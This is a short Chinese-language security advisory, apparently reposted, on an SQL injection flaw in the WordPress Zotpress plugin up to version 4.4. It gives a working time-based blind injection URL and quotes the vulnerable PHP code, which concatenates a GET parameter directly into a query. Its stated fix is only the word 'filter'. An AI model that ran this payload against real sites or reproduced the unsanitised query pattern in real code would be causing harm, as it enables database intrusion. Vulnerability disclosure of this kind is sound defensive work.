标题: WordPress Zotpress plugin <= 4.4 SQL Injection Vulnerability 作者: Miroslav Stampar ( www.2cto.com ) 下载地址: http://downloads.wordpress.org/plugin/zotpress.4.4.zip 影响版本: 4.4 (tested) 注意条件: magic_quotes has to be turned off --- 测试 --- http://www.2cto.com /wp-content/plugins/zotpress/zotpress.rss.php?api_user_id=1&account_type=test&displayImages=true&displayImageByCitationID=-1' AND 1=IF(2>1,BENCHMARK(5000000, MD5 (CHAR(115,113,108,109,97,112))),0)%23 --------------- 缺陷代码分析 --------------- if ($mzr_api_user_id == false && $mzr_include == false && (isset($_GET['api_user_id']) && preg_match("/^[0-9]+$/", $_GET['api_user_id']))) { $mzr_api_user_id = trim($_GET['api_user_id']); } ... if ($mzr_account_type == false && $mzr_include == false && (isset($_GET['account_type']) && preg_match("/^[a-zA-Z]+$/", $_GET['account_type']))) { $mzr_account_type = trim($_GET['account_type']); } ... if ($mzr_displayImages == false && $mzr_include == false && (isset($_GET['displayImages']) && preg_match("/^[a-zA-Z]+$/", $_GET['displayImages']))) { $zp_update_db_shortcode_request .= "image='".$_GET['displayImages']."', "; if ($_GET['displayImages'] == "true") $mzr_displayImages = true; else $mzr_displayImages = false; } ...www.2cto.com if (isset($mzr_account_type) && isset($mzr_api_user_id)) { if ($mzr_displayImages == true) { if (isset($_GET['displayImageByCitationID'])) $images = $wpdb->get_results("SELECT * FROM ".$wpdb->prefix."zotpress_images WHERE citation_id='".trim($_GET['displayImageByCitationID'])."'"); 修复：过滤
查看更多关于WordPress插件Zotpress <= 4.4 SQL注射缺陷及修复 - 网的详细内容...